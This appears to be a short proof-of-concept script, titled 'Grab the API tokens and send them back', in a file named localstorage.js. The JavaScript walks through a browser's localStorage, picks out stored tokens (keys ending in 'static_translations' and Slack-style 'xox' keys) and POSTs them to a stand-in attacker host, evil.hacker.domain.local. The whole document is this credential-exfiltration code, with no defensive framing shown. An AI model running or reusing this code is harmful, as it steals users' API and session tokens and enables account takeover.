Grab the API tokens and send them back

localstorage.js

for (var i = 0; i < localStorage.length; i++){
  let key = localStorage.key(i);
  if(key.endsWith('static_translations')) {
    fetch('https://evil.hacker.domain.local', { method: 'POST', body: JSON.parse(localStorage.getItem(key)).data.args.token });
  } else if(key.startsWith('xox')){
    fetch('https://evil.hacker.domain.local', { method: 'POST', body: key });
  }
}